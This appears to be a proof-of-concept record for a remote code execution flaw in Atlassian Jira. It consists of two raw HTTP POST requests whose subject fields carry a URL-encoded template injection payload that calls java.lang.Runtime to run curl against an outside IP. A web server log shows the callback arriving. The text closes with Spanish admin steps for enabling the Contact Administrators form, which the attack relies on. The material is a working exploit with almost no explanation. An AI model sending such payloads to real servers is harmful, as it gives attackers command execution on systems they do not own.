POST /secure/ContactAdministrators.jspa HTTP/1.1
Host: 10.10.20.116:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
Referer: http://10.10.20.116:8080/secure/ContactAdministrators!default.jspa
Cookie: atlassian.xsrf.token=B6MK-HX7C-MR43-860H_23d834a2bed060db3006caa1d13445a9612e0d2a_lout; JSESSIONID=FCC6A28A80F6BBB6610A54327E4E8C66
X-Forwarded-For: 127.0.0.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1

from=232334%40qq.com&subject=%24i18n.getClass%28%29.forName%28%27java.lang.Runtime%27%29.getMethod%28%27getRuntime%27%2Cnull%29.invoke%28null%2Cnull%29.exec%28%27curl+47.97.112.98%3A8000%2F%2Fjas502n%2F%2F%27%29.waitFor%28%29&details=23423423&atl_token=B6MK-HX7C-MR43-860H_23d834a2bed060db3006caa1d13445a9612e0d2a_lout&%E5%8F%91%E9%80%81=%E5%8F%91%E9%80%81

POST /secure/admin/SendBulkMail.jspa HTTP/1.1
Host: 10.10.20.116:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 433
Referer: http://10.10.20.116:8080/secure/admin/SendBulkMail!default.jspa
Cookie: atlassian.xsrf.token=B6MK-HX7C-MR43-860H_6146f3bed0f204ae619d52a0323ecd41ea5ecb6b_lin; JSESSIONID=32D0E863B383BDAAF8049FA4339D5C26
X-Forwarded-For: 127.0.0.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1

sendToRoles=true&projects=10000&roles=10002&replyTo=test%40qq.com&subject=%24i18n.getClass%28%29.forName%28%27java.lang.Runtime%27%29.getMethod%28%27getRuntime%27%2Cnull%29.invoke%28null%2Cnull%29.exec%28%27curl+47.97.112.98%3A8000%2F%2Fjas502n%2F%2F%27%29.waitFor%28%29&message=542342342&messageType=html&sendBlind=true&%E5%8F%91%E9%80%81=%E5%8F%91%E9%80%81&atl_token=B6MK-HX7C-MR43-860H_6146f3bed0f204ae619d52a0323ecd41ea5ecb6b_lin

python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
1xx.xx.xx4 - - [16/Jul/2019 12:13:43] code 404, message File not found
1xx.xx.xx4 - - [16/Jul/2019 12:13:43] "GET //jas502n// HTTP/1.1" 404 -

Seleccione el icono de engranaje  > Sistema.
Seleccione Configuración General.
Haga clic en Editar configuración.
Desplácese hacia abajo hasta el formulario  Contactar Administradores y póngalo en ON.
Introduzca su texto en el cuadro  Mensaje de Contactar Administradores. Si necesita ayuda con el marcado, haga clic en ? debajo del cuadro. 
Haga clic en Actualizar.